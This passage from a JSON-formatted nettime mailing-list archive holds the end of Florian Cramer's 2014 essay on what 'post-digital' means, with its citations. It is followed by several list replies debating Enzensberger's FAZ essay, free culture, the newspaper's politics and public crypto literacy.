apocalypse is not over, but has\nprogressed from a discrete breaking point to an ongoing condition ??? in\nHeideggerian terms, from _Ereignis_ to _Being_ ??? and with a contemporary\npopular iconography pioneered by the _Mad Max_ films in the 1980s).\n\nNone of these terms ??? post-punk, post-communism, post-feminism,\npostcolonialism, post-apocalyptic ??? can be understood in a purely Hegelian\nsense of an inevitable linear progression of cultural and intellectual\nhistory. Rather, they describe more subtle cultural shifts and ongoing\nmutations. Postcolonialism does not in any way mean an end of colonialism\n(akin to Hegel's and Fukuyama's \"end of history\"), but rather its mutation\ninto new power structures, less obvious but no less pervasive, which have a\nprofound and lasting impact on languages and cultures, and most\nsignificantly continue to govern geopolitics and global production chains.\nIn this sense, the post-digital condition is a post-apocalyptic one: the\nstate of affairs after the initial upheaval caused by the computerisation\nand global digital networking of communication, technical infrastructures,\nmarkets and geopolitics.\n\n\n### 'Digital' = sterile high tech?\n\nAlso, the 'digital' in 'post-digital' should not be understood in any\ntechnical-scientific or media-theoretical sense, but rather in the way the\nterm is broadly used in popular culture ??? the kind of connotation best\nillustrated by a recent Google Image Search result for the word 'digital':\nThe first thing we notice is how the term 'digital' is, still in 2013,\nvisually associated with the colour blue. Blue is literally the coolest\ncolour in the colour spectrum (with a temperature of 15,000 to 27,000\nKelvin), with further suggestions of cultural coolness and cleanness. The\nsimplest definition of 'post-digital' describes a media aesthetics which\nopposes such digital high-tech and high-fidelity cleanness. The term was\ncoined in 2000 by the musician Kim Cascone, in the context of glitch\naesthetics in contemporary electronic music (Cascone, 12). Also in 2000,\nthe Australian sound and media artist Ian Andrews used the term more\nbroadly as part of a concept of \"post-digital aesthetics\" which rejected\nthe \"idea of digital progress\" as well as \"a teleological movement toward\n'perfect' representation\" (Andrews).\n\nCascone and Andrews considered the notion of 'post-digital' primarily as an\nantidote to techno-Hegelianism. The underlying context for both their\npapers was a culture of audio-visual production in which 'digital' had long\nbeen synonymous with 'progress': the launch of the Fairlight CMI audio\nsampler in 1979, the digital audio CD and the MIDI standard (both in 1982),\nsoftware-only digital audio workstations in the early 1990s, real-time\nprogrammable software synthesis with Max/MSP in 1997. Such teleologies are\nstill prevalent in video and TV technology, with the ongoing transitions\nfrom SD to HD and 4K, from DVD to BluRay, from 2D to 3D ??? always marketed\nwith a similar narrative of innovation, improvement, and higher fidelity of\nreproduction. In rejecting this narrative, Cascone and Andrews opposed the\nparadigm of technical quality altogether.\n\nIronically, the use of the term 'post-digital' was somewhat confusing in\nthe context of Cascone's paper, since the glitch music defined and\nadvocated here actually _was_ digital, and even based on specifically\ndigital sound-processing artefacts. On the other hand, and in the same\nsense as post-punk can be seen as a reaction to punk, Cascone's concept of\n 'post-digital' may best be understood as a reaction to an age in which\neven camera tripods are being labelled as 'digital', in an effort to market\nthem as new and superior technology.\n\n\n### 'Digital' = low-quality trash?\n\nThere is a peculiar overlap between on one hand a post-digital rejection of\ndigital high tech, and on the other hand a post-digital rejection of\ndigital low quality. Consider for example the persisting argument that\nvinyl LPs sound better than CDs (let alone MP3s); that film photography\nlooks better than digital photography (let alone smartphone snapshots);\nthat 35mm film projection looks better than digital cinema projection (let\nalone BitTorrent video downloads or YouTube); that paper books are a richer\nmedium than websites and e-books; and that something typed on a mechanical\ntypewriter has more value than a throwaway digital text file (let alone\ne-mail spam). In fact, the glitch aesthetics advocated by Cascone as\n'post-digital' are precisely the same kind of digital trash dismissed by\n'post-digital' vinyl listeners.\n\n\n## Digression: what is digital, what is analog?\n\n### Digital ??? binary; digital ??? electronic\n\n>From a strictly technological or scientific point of view, Cascone's use of\nthe word 'digital' was inaccurate. This also applies to most of what is\ncommonly known as 'digital art', 'digital media' and 'digital humanities'.\nSomething can very well be 'digital' without being electronic, and without\ninvolving binary zeroes and ones. It does not even have to be related in\nany way to electronic computers or any other kind of computational device.\n\nConversely, 'analog' does not necessarily mean non-computational or\npre-computational. There are also analog computers. Using water and two\nmeasuring cups to compute additions and subtractions ??? of quantities that\ncan't be counted exactly ??? is a simple example of analog computing.\n\n'Digital' simply means that something is divided into discrete, countable\nunits ??? countable using whatever system one chooses, whether zeroes and\nones, decimal numbers, tally marks on a scrap of paper, or the fingers\n(digits) of one's hand ??? which is where the word 'digital' comes from in\nthe first place; in French, for example, the word is 'num??rique'.\nConsequently, the Roman alphabet is a digital system; the movable types of\nGutenberg's printing press constitute a digital system; the keys of a piano\nare a digital system; Western musical notation is mostly digital, with the\nexception of instructions with non-discrete values such as adagio, piano,\nforte, legato, portamento, tremolo and glissando. Floor mosaics made of\nmonochrome tiles are digitally composed images. As all these examples\ndemonstrate, 'digital' information never exists in a perfect form, but is\ninstead an idealised abstraction of physical matter which, by its material\nnature and the laws of physics, has chaotic properties and often ambiguous\nstates.[^2]\n\nThe hipster's mechanical typewriter, with its discrete set of letters,\nnumbers and punctuation marks, is therefore a 'digital' system as defined\nby information science and analytic philosophy (Goodman, 161). However, it\nis also 'analog' in the colloquial sense of the word. This is also the\nunderlying connotation in the meme image, with its mocking of 'hipster'\nretro culture. An art curator, on the other hand, might consider the\ntypewriter a 'post-digital' medium.\n\n\n### Analog = undivided; analog ??? non-computational\n\nConversely, 'analog' means that the information has not been chopped up\ninto discrete, countable units, but instead consists of one or more signals\nwhich vary on a continuous scale, such as a sound wave, a light wave, a\nmagnetic field (for example on an audio tape, but also on a computer hard\ndisk), the flow of electricity in any circuit including a computer chip, or\na gradual transition between colours, for example in blended paint.\n(Goodman, 160) therefore defines analog as \"undifferentiated in the\nextreme\" and \"the very antithesis of a notational system\".\n\nThe fingerboard of a violin is analog: it is fretless, and thus undivided\nand continuous. The fingerboard of a guitar, on the other hand, is digital:\nit is divided by frets into discrete notes. What is commonly called\n'analog' cinema film is actually a digital-analog hybrid: the film emulsion\nis analog, since its particles are undifferentiated blobs ordered\norganically and chaotically, and thus not reliably countable in the way\nthat pixels are. The combined frames of the film strip, however, are\ndigital since they are discrete, chopped up and unambiguously countable.\n\nThe structure of an analog signal is determined entirely by its\ncorrespondence (analogy) with the original physical phenomenon which it\nmimics. In the case of the photographic emulsion, the distribution of the\notherwise chaotic particles corresponds to the distribution of light rays\nwhich make up an image visible to the human eye. On the audio tape, the\nfluctuations in magnetisation of the otherwise chaotic iron or chrome\nparticles correspond to fluctuations in the sound wave which it reproduces.\n\nHowever, the concept of 'post-digital' as defined by Cascone ignored such\ntechnical-scientific definitions of 'analog' and 'digital' in favour of a\npurely colloquial understanding of these terms.\n\n\n## Post-digital = against the universal machine\n\nProponents of 'post-digital' attitudes may reject digital technology as\neither sterile high tech or low-fidelity trash. In both cases, they dismiss\nthe idea of digital processing as the sole universal all-purpose form of\ninformation processing. Consequently, they also dismiss the notion of the\ncomputer as the universal machine, and the notion of digital computational\ndevices as all-purpose media.\n\n\n## What, then, is 'post-digital'?\n\n(The following is an attempt to recapitulate and order some observations\nwhich I have formulated in previous publications.[^3])\n\n\n### Post-digital = post-digitisation\n\nReturning to Cascone and Andrews, but also to post-punk, postcolonialism\nand Mad Max, the term 'post-digital' in its simplest sense describes the\nmessy state of media, arts and design _after_ their digitisation (or at\nleast the digitisation of crucial aspects of the channels through which\nthey are communicated). Sentiments of disenchantment and scepticism may\nalso be part of the equation, though this need not necessarily be the case\n??? sometimes, 'post-digital' can in fact mean the exact opposite.\nContemporary visual art, for example, is only slowly starting to accept\npractitioners of net art as regular contemporary artists ??? and then again,\npreferably those like Cory Arcangel whose work is white cube-compatible.\nYet its discourse and networking practices have been profoundly transformed\nby digital media such as the e-flux mailing list, art blogs and the\nelectronic e-flux journal. In terms of circulation, power and influence,\nthese media have largely superseded printed art periodicals, at least as\nfar as the art system's in-crowd of artists and curators is concerned.\nLikewise, when printed newspapers shift their emphasis from daily news\n(which can be found quicker and cheaper on the Internet) to investigative\njournalism and commentary ??? like _The Guardian_'s coverage of the NSA's\nPRISM programme ??? they effectively transform themselves into post-digital\nor post-digitisation media.\n\n\n### Post-digital = anti-'new media'\n\n'Post-digital' thus refers to a state in which the disruption brought upon\nby digital information technology has already occurred. This can mean, as\nit did for Cascone, that this technology is no longer perceived as\ndisruptive. Consequently, 'post-digital' stands in direct opposition to the\nvery notion of 'new media'. At the same time, as its negative mirror image,\nit exposes ??? arguably even deconstructs ??? the latter's hidden teleology:\nwhen the term 'post-digital' draws critical reactions focusing on the\ndubious historico-philosophical connotations of the prefix 'post', one\ncannot help but wonder about a previous lack of such critical thinking\nregarding the older (yet no less Hegelian) term 'new media'.\n\n\n### Post-digital = hybrids of 'old' and 'new' media\n\n'Post-digital' describes a perspective on digital information technology\nwhich no longer focuses on technical innovation or improvement, but instead\nrejects the kind of techno-positivist innovation narratives exemplified by\nmedia such as _Wired_ magazine, Ray Kurzweil's Google-sponsored\n'singularity' movement, and of course Silicon Valley. Consequently,\n'post-digital' eradicates the distinction between 'old' and 'new' media, in\ntheory as well as in practice. Kenneth Goldsmith notes that his students\n\"mix oil paint while Photoshopping and scour flea markets for vintage vinyl\nwhile listening to their iPods\" (Goldsmith, 226). Working at an art school,\nI observe the same. Young artists and designers choose media for their own\nparticular material aesthetic qualities (including artefacts), regardless\nof whether these are a result of analog material properties or of digital\nprocessing. Lo-fi imperfections are embraced ??? the digital glitch and\njitter of Cascone's music along with the grain, dust, scratches and hiss in\nanalog reproduction ??? as a form of practical exploration and research that\nexamines materials through their imperfections and malfunctions. It is a\npost-digital hacker attitude of taking systems apart and using them in ways\nwhich subvert the original intention of the design.\n\n\n### Post-digital = retro?\n\nNo doubt, there is a great deal of overlap between on one hand post-digital\nmimeograph printmaking, audio cassette production, mechanical typewriter\nexperimentation and vinyl DJing, and on the other hand various\nhipster-retro media trends ??? including digital simulations of analog lo-fi\nin popular smartphone apps such as Instagram, Hipstamatic and iSupr8. But\nthere is a qualitative difference between simply using superficial and\nstereotypical ready-made effects, and the thorough discipline and study\nrequired to make true 'vintage' media work, driven by a desire for\nnon-formulaic aesthetics.\n\nStill, such practices can only be meaningfully called 'post-digital' when\nthey do not merely revive older media technologies, but functionally\nrepurpose them in relation to digital media technologies: zines that become\nanti-blogs or non-blogs, vinyl as anti-CD, cassette tapes as anti-MP3,\nanalog film as anti-video.\n\n\n### Post-digital = 'old' media used like 'new media'\n\nAt the same time, new ethical and cultural conventions which became\nmainstream with Internet communities and Open Source culture are being\nretroactively applied to the making of non-digital and post-digital media\nproducts. A good example of this are collaborative zine conventions, a\nthriving subculture documented on the blog [fanzines.tumblr.com](\nhttp://fanzines.tumblr.com/) and elsewhere. These events, where people come\ntogether to collectively create and exchange zines (i.e. small-circulation,\nself-published magazines, usually focusing on the maker's cultural and/or\npolitical areas of interest), are in fact the exact opposite of the 'golden\nage' zine cultures of the post-punk 1980s and 1990s, when most zines were\nthe hyper-individualistic product and personality platforms of one single\nmaker. If we were to describe a contemporary zine fair or mimeography\ncommunity art space using Lev Manovich's _new media_ taxonomy of 'Numerical\nRepresentation', 'Modularity', 'Automation', 'Variability' and\n'Transcoding' (Manovich, _The Language of New Media_, 27-48), then\n'Modularity', 'Variability' and ??? in a more loosely metaphorical sense ???\n'Transcoding' would still apply to the contemporary cultures working with\nthese 'old' media. In these cases, the term 'post-digital' usefully\ndescribes 'new media'-cultural approaches to working with so-called 'old\nmedia'.\n\n\n### DIY vs. corporate media, rather than 'new' vs. 'old' media\n\nWhen hacker-style and community-centric working methods are no longer\nspecific to 'digital' culture (since they are now just as likely to be\nfound at an 'analog' zine fair as in a 'digital' computer lab), then the\nestablished dichotomy of 'old' and 'new' media ??? as synonymous in practice\nwith 'analog' and 'digital' ??? becomes obsolete, making way for a new\ndifferentiation: one between shrink-wrapped culture and do-it-yourself\nculture. The best example of this development (at least among mainstream\nmedia) is surely the magazine and website _Make_, published by O'Reilly\nsince 2005, and instrumental for the foundation of the contemporary 'maker\nmovement'. _Make_ covers 3D printing, Arduino hardware hacking, fab lab\ntechnology, as well as classical DIY and crafts, and hybrids between\nvarious 'new' and 'old' technologies.\n\nThe 1990s / early 2000s assumption that 'old' mass media such as\nnewspapers, movies, television and radio are corporate, while 'new media'\nsuch as websites are DIY, is no longer true now that user-generated content\nhas been co-opted into corporate social media and mobile apps. The Internet\nas a self-run alternative space ??? central to many online activist and\nartist projects, from _The Thing_ onwards ??? is no longer taken for granted\nby anyone born after 1990: for younger generations, the Internet is\nassociated mainly with corporate, registration-only services.[^4]\n\n\n## Revisiting the typewriter hipster meme\n\nThe alleged typewriter hipster later turned out to be a writer who earned\nhis livelihood by selling custom-written stories from a bench in the park.\nThe imageboard meme photo was taken from an angle that left out his sign,\ntaped to his typewriter case: \"One-of-a-kind, unique stories while you\nwait\". In an article for the website _The Awl_, he recollects how the meme\nmade him \"An Object Of Internet Ridicule\" and even open hatred.[^7] Knowing\nthe whole story, one can only conclude that his decision to bring a\nmechanical typewriter to the park was pragmatically the best option.\nElectronic equipment (a laptop with a printer) would have been cumbersome\nto set up, dependent on limited battery power, and prone to weather damage\nand theft, while handwriting would have been too slow, insufficiently\nlegible, and lacking the appearance of a professional writer's work.\n\nHad he been an art student, even in a media arts programme, the typewriter\nwould still have been the right choice for this project. This is a perfect\nexample of a post-digital choice: using the technology most suitable to the\njob, rather than automatically 'defaulting' to the latest 'new media'\ndevice. It also illustrates the post-digital hybridity of 'old' and 'new'\nmedia, since the writer advertises (again, on the sign on his typewriter\ncase) his Twitter account \" {AT} rovingtypist\", and conversely uses this account\nto promote his story-writing service. He has effectively repurposed the\ntypewriter from a prepress tool to a personalised small press, thus giving\nthe 'old' technology a new function usually associated with 'new media', by\nexploiting specific qualities of the 'old' which make up for the\nlimitations of the 'new'. Meanwhile, he also applies a 'new media'\nsensibility to his use of 'old media': user-customised products, created in\na social environment, with a \"donate what you can\" payment model. Or\nrather, the dichotomy of community media vs. mass media has been flipped\nupside-down, so that a typewriter is now a community media device, while\nparticipatory websites have turned into the likes of _Reddit_, assuming the\nrole of yellow press mass media ??? including mob hatred incited by wilful\nmisrepresentation.\n\n\n## The desire for agency\n\nCascone and Andrews partly contradicted themselves when they defined the\nconcept of 'post-digital' in the year 2000. Though they rejected the\nadvocacy of 'new media', they also relied heavily on it. Cascone's paper\ndrew on Nicholas Negroponte's _Wired_ article \"Beyond Digital\"\n(Negroponte), while Ian Andrews' paper referenced Lev Manovich's\n\"Generation Flash\", an article which promoted the very opposite of the\nanalog/digital, retro/contemporary hybridisations currently associated with\nthe term 'post-digital' (Manovich, \"Generation Flash\"). We could\nmetaphorically describe post-digital cultures as postcolonial practices in\na communications world taken over by a military-industrial complex made up\nof only a handful of global players. More simply, we could describe these\ncultures as a rejection of such dystopian techno-utopias as Ray Kurzweil's\nand Google's Singularity University, the Quantified Self movement, and\nsensor-controlled 'Smart Cities'.\n\nAnd yet, post-digital subculture, whether in Detroit, Rotterdam or\nelsewhere, is on a fundamental level not so different from such mainstream\nSilicon Valley utopias. For (Van Meer), the main reason why art students\nprefer designing posters to designing websites is due to a fiction of\nagency - in this case, an illusion of more control over the medium.\nLikewise, 'digital' cultures are driven by similar illusions of free will\nand individual empowerment. The Quantified Self movement, for example, is\nbased on a fiction of agency over one's own body. The entire concept of\nDIY, whether non-digital, digital or post-digital, is based on the fiction\nof agency implied by the very notion of the self-made.\n\nEach of these fictions of agency represents one extreme in how individuals\nrelate to the techno-political and economic realities of our time: either\nover-identification with systems, or rejection of these same systems. Each\nof these extremes is, in its own way, symptomatic of a _systems crisis_ ???\nnot a crisis of this or that system, but rather a crisis of the very\nparadigm of 'system', as defined by General Systems Theory, itself an\noffshoot of cybernetics. A term such as \"post-Snowden\" describes only one\n(important) aspect of a bigger picture:[^8] a crisis of the cybernetic\nnotion of 'system' which neither 'digital' nor 'post-digital' ??? two terms\nultimately rooted in systems theory ??? are able to leave behind, or even\nadequately describe.\n\n\n## Works cited\n\nAndrews, Ian. \"Post-digital Aesthetics and the return to Modernism.\" (2000)\nWeb. December 2013 <http://www.ian-andrews.org/texts/postdig.html>\n\nCascone, Kim. \"The Aesthetics of Failure: 'Post-Digital' Tendencies in\nContemporary Computer Music.\" _Computer Music Journal_, 24.4 (2000): 12-18.\nPrint.\n\nCox, Geoff. \"Prehistories of the Post-digital: some old problems with\npost-anything.\" (2013) Web. December 2013 <\nhttp://post-digital.projects.cavi.dk/?p=578>\n\nCramer, Florian. \"Post-Digital Aesthetics.\" _Jeu de Paume le magazine_, May\n2013. Web. December 2013 <\nhttp://lemagazine.jeudepaume.org/2013/05/florian-cramer-post-digital-aesthetics/\n>\n\nCramer, Florian. \"Post-Digital Writing.\" _electronic book review_, December\n2012. Web. December 2013 <\nhttp://electronicbookreview.com/thread/electropoetics/postal>\n\nEggers, Dave. _The Circle._ New York: Knopf, 2013. Print.\n\nGoldsmith, Kenneth. _Uncreative Writing: Managing Language in the Digital\nAge_. New York: Columbia UP, 2011. Print.\n\nGoodman, Nelson. _Languages of Art_, Indianapolis/Cambridge: Hacket, 1976.\nPrint.\n\nGurstein, Michael. \"So What Do We Do Now? Living in a Post-Snowden World\",\nJanuary 2014. Web. January 2014 <\nhttp://gurstein.wordpress.com/2014/01/01/so-what-do-we-do-now-living-in-a-post-snowden-world/\n>\n\nHermlin, C.D.. \"I Am An Object Of Internet Ridicule, Ask Me Anything.\" _The\nAwl_, 18 September 2013. Web. December 2013 <\nhttp://www.theawl.com/2013/09/i-was-a-hated-hipster-meme-and-then-it-got-worse\n>\n\nKittler, Friedrich. \"There Is No Software.\" _Stanford Literature Review_ 9\n(1992): 81-90. Print.\n\nKlok, Timo. \"4chan and Imageboards\", _post.pic_. Ed. Research Group\nCommunication in a Digital Age. Rotterdam: Piet Zwart Institute, Willem de\nKooning Academy Rotterdam University, 2010: 16-19. Print.\n\nManovich, Lev. 'Generation Flash.' (2002). Web. December 2013 <\nhttp://www.manovich.net/DOCS/generation_flash.doc>\n\nManovich, Lev. _The Language of New Media_. Cambridge, MA: MIT, 2002.\nPrint.\n\nNegroponte, Nicholas. _Beyond Digital_. _Wired_ 6.12 (1998). Web. December\n2013 <http://web.media.mit.edu/~nicholas/Wired/WIRED6-12.html>\n\nPynchon, Thomas. _Bleeding Edge._ London: Penguin, 2013. Print.\n\nVan Meer, Aldje. \"I would rather design a poster than a website.\" _Willem\nde Kooning Academy Rotterdam University_, 2012-2013. Web. December 2013 <\nhttp://www.iwouldratherdesignaposterthanawebsite.nl>, <\nhttp://crosslab.wdka.hro.nl/ioi/C010_folder.pdf>\n\n\n\n[^1]: (Van Meer); also discussed later in this text.\n\n[^2]: Even the piano (if considered a medium) is digital only to the degree\nthat its keys implement abstractions of its analog-continuous strings.\n\n[^3]: (Cramer, _Post-Digital Writing_), (Cramer, _Post-Digital\nAesthetics_).\n\n[^4]: In a project on Open Source culture organised by Aymeric Mansoux with\nBachelor-level students from the Willem de Kooning Academy in Rotterdam, it\nturned out that many students believed that website user account\nregistration was a general feature and requirement of the Internet.\n\n[^5]: It's debatable to which degree this reflects the influence of\nnon-Western, particularly Japanese (popular) culture on contemporary\nWestern visual culture, especially in the field of illustration ??? which\naccounts for an important share of contemporary zine making. This influence\nis even more obvious in digital meme and imageboard culture.\n\n [^6]: For example (and six years prior to the typewriter hipster meme),\nLinda Hilfling's contribution to the exhibition MAKEDO at V2_, Rotterdam,\nJune 29-30, 2007.\n\n[^7]: (Hermlin) writes: \"Someone with the user handle 'S2011' summed up the\nthoughts of the hive mind in 7 words: 'Get the fuck out of my city.'\nIllmatic707 chimed in: I have never wanted to fist fight someone so badly\nin my entire life.\"\n\n[^8]: A term frequently used at the Chaos Computer Club's 30th Chaos\nCommunication Congress in Hamburg, December 2013, and also very recently by\n(Gurstein).\n\n(With cordial thanks to Wendy Hui Kyong Chun, Nishant Shah, Geoff Cox,\nS??ren Pold, Stefan Heidenreich and Andreas Broeckmann for their critical\nfeedback, and to Aldje van Meer for her empirical research.)\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "date": "Mon, 3 Mar 2014 20:19:47 +0100",
                        "to": "Nettime <nettime-l {AT} kein.org>",
                        "message-id": "1d6a7814936724acab1acef66bd36cf6 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00009.html",
                        "list": "nettime_l",
                        "author_name": "Florian Cramer",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "Jon Ippolito <jippolito {AT} maine.edu>",
                        "content": "I enjoyed Florian Cramer's \"What Is 'Post-digital'\" essay and share his disdain for our overuse of the word digital. Calling Cornelia Sollfrank's or John Hopkin's work \"digital art\" seems to me like calling a tiger a large housecat--a convenient identification for zookeepers and curators. \n\nSo much of this work has already bent the \"digital\" category. If Enzensberger wants us to send our secrets via postcards, he need look no further than \"digital artist\" Aram Bartholl's practice of printing postcards with pictures of WiFi passwords (http://datenform.de/greetings-from-the-internet-eng.html).\n\nEnzensberger's essay and the typewriter-in-the-park meme are deceptively quaint. Both seem to be throwbacks until you examine them a bit more closely, at which point  references to the contemporary culture of Facebook and PRISM emerge. I grew up writing on a typewriter and certainly never saw one in the park before the age of netbooks and iPads.\n\nOn the other hand, neither the manifesto nor the meme is nuanced enough to apply to my life. When I hear an octogenarian say, \"Whoever offers something for free is suspicious,\" I'm glad he's paying some attention to today's social media critics but I wish he'd thought more carefully before parroting this cliche. Most of the software I use today is \"free\" and I make most of my software available to others for the same price. I worry that the \"free-as-in-Facebook\" meme plays easily into the old Microsoft \"open source isn't trustworthy\" campaign of Fear, Uncertainty, and Doubt. \n\nSo for me, whoever claims whoever offers something for free is suspicious is suspicious.\n\nWhat happened to the Enzensberger who advocated being \"as free as dancers, as aware as football players, as surprising as guerillas?\" I'm not surprised (if I understand Andreas Broeckmann correctly) that Enzensberger's essay was published in a conservative newspaper. As much as I despise Facebook, I think we can summon a better response than a curmudgeonly \"get off my lawn.\"\n\nCheers,\n\njon\n______________________________\nSave culture from oblivion\nDigital Curation online certificate\nhttp://DigitalCuration.UMaine.edu\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00015",
                        "date": "Wed, 5 Mar 2014 10:01:14 -0500",
                        "to": "nettime submissions <nettime-l {AT} kein.org>",
                        "message-id": "6c6b4409940872c5b485d6f17cafb895 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00015.html",
                        "content-type": "text/plai",
                        "author_name": "Jon Ippolito",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "Andreas Broeckmann <broeckmann {AT} leuphana.de>",
                        "content": "\nAm 10.03.14 02:58, schrieb Nick:\n\n> Quoth Felix Stalder:\n>\n>> Enzensberger's text was just a joke, and the FAZ printed\n>> it because it would stir controversy, not because it had much to\n>> offer intellectually.\n>\n> Was it really just a joke? I'm not so sure dismissing it as that is\n> appropriate. Sure it necessarily isn't a deep critique of the power\n> dynamics at play with some of the newer technologies people are\n> using now, but it wasn't designed as that, and I for one find the\n> provocations basically reasonable.\n\n",
                        "id": "00028",
                        "date": "Mon, 10 Mar 2014 13:35:10 +0100",
                        "to": "nettime <nettime-l {AT} kein.org>",
                        "message-id": "8f59336649a2d1121401f93d3af5a8a0 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00028.html",
                        "content-type": "text/plai",
                        "author_name": "Andreas Broeckmann",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "p <mp {AT} aktivix.org>",
                                "content": "\n\nArmin Medosch wrote:\n> is clearly old capital against new capital - the enemy is Google.\n\nso, old capital is a bad thing and new capital is a bad thing, or\nwhat's the moral of this?\n\nor speaking against new capital from the platform of old capital is\nbad?\n\nor anything bad about new capital is old bad?\n\nor my bad?\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00034",
                                "date": "Mon, 10 Mar 2014 18:54:07 +0100",
                                "to": "nettime-l {AT} mail.kein.org",
                                "message-id": "531DFC3F.5020808 {AT} aktivix.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00034.html",
                                "content-type": "text/plai",
                                "author_name": "mp",
                                "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                            }
                        ],
                        "from": "Armin Medosch <armin {AT} easynet.co.uk>",
                        "content": "The point I want to make is not so much about Enzensbergers text -\nthe poet has clearly let himself down - but the publishing context.\nFAZ is on a campaign against Gratiskultur - the free culture of\nthe internet. A few days earlier there was a text by Jaron Lanier\nwhich was pretty much a repetition of his older rant against Digital\nMaoism with a little added surveillance sauce. FAZ does not like the\nnet, never did. So they mix cleverly two things, using widespread\ndissatisfaction with surveillance to fight against free culture. This\nis clearly old capital against new capital - the enemy is Google. What\na pity that Enzensberger allowed himself to be used in that way by an\narch-conservative newspaper. Lanier also allowed himself to be used\nbut thats not such a pity because as his Digital Maoism text showed he\nis beyond the beyond.\n\nregards\nArmin\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00030",
                        "date": "Mon, 10 Mar 2014 14:32:40 +0000",
                        "to": "nettime <nettime-l {AT} kein.org>",
                        "message-id": "CAN8LYzfST6wGfEpwL8ZBUydv0Sc2VcoY7mj&#45;qLiFmfuJqq2Esw {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00030.html",
                        "content-type": "text/plai",
                        "author_name": "Armin Medosch",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "lockelloi {AT} yahoo.c",
                        "content": "\nThis is the essential fallacy.\n\nThe idea that the security is so complicated that only the guild\nmembers (from gov/corporate employees to open source celebrities) are\nsupposed to handle it, has been successfully floated for a while.\nWhich leaves the unwashed with the choice of 'trusting' either the\nformer or the latter. Whoever they choose, those will continue to\nearn 10-20x the poverty level income for performing the holy rites.\nThe guild members are likely sincere when promoting this notion:\nself-preservation is a great motivator. \"Never make home brew crypto\"\nis what got us where we are today.\n\nIt's like literacy. There is nothing easy or natural about learning\nto read and write. Literacy used to be confined to the ruling circles\nand prohibited to the rabble. But literacy for the masses caused great\npower shifts, and very few question it today.\n\nFuck the scribes.\n\nLearning basics about communications security may be somewhat harder\nthat learning to read and write, but it's not orders of magnitude.\nThe only security that will work is the one that a person truly\nunderstands, and fuck the UI. Witness the very successful use of\ncryptography by those who understand that their well-being depends on\nit.\n\nWhat needs to happen is a shift from \"trust me, I'll do it for you\",\nto \"I'll teach you how to make your own\". Not the easiest path, not\nthe quick one, but the one that may work. Bickering about whom to\ntrust and begging the authorities to stop what they are doing is a\ntotal waste of time.\n\n\n\nOn 3/10/14 5:35 , Andreas Broeckmann wrote:\n",
                        "id": "00031",
                        "date": "Mon, 10 Mar 2014 12:42:31 -0700",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "531E15A7.9040801 {AT} yahoo.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00031.html",
                        "content-type": "text/plai",
                        "author_name": "morlockelloi",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "ank Rieger <frank {AT} ccc.de>",
                        "content": "\nWriting for the FAZ myself I can assure you, that there is no such\nthing as \"the FAZ\". It is a multitude of oppinions, plenty of debates\nand highly moble frontlines. There are some arch-conservative editors\nand authors who would love to wake up one day and find the internet\ngone (mostly in the politics and business parts of the paper). And\nthen there are plenty of others (more often in the Feuilleton) who\nhave distinctly different and certainly not conservative views.\n\nYou should not make the mistake to associate Google with \"good\" just\nbecause they side with free culture sometimes when it fits their\nbusiness interests. We are deep inside a multi-front power struggle\nwith shifting alliances and neither the government nor the internet\nogliopolies are on our side.\n\nbtw: I read Enzensberger as satire. \n\nGreetings from Berlin,\n\nFrank Rieger\n\n---\n\nOn 10.03.2014, at 15:32, Armin Medosch wrote:\n\n> The point I want to make is not so much about Enzensbergers text -\n> the poet has clearly let himself down - but the publishing context.\n> FAZ is on a campaign against Gratiskultur - the free culture of\n> the internet. A few days earlier there was a text by Jaron Lanier\n> which was pretty much a repetition of his older rant against Digital\n> Maoism with a little added surveillance sauce. FAZ does not like the\n> net, never did. So they mix cleverly two things, using widespread\n> dissatisfaction with surveillance to fight against free culture. This\n> is clearly old capital against new capital - the enemy is Google. What\n> a pity that Enzensberger allowed himself to be used in that way by an\n> arch-conservative newspaper. Lanier also allowed himself to be used\n> but thats not such a pity because as his Digital Maoism text showed he\n> is beyond the beyond.\n> \n> regards\n> Armin\n> \n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
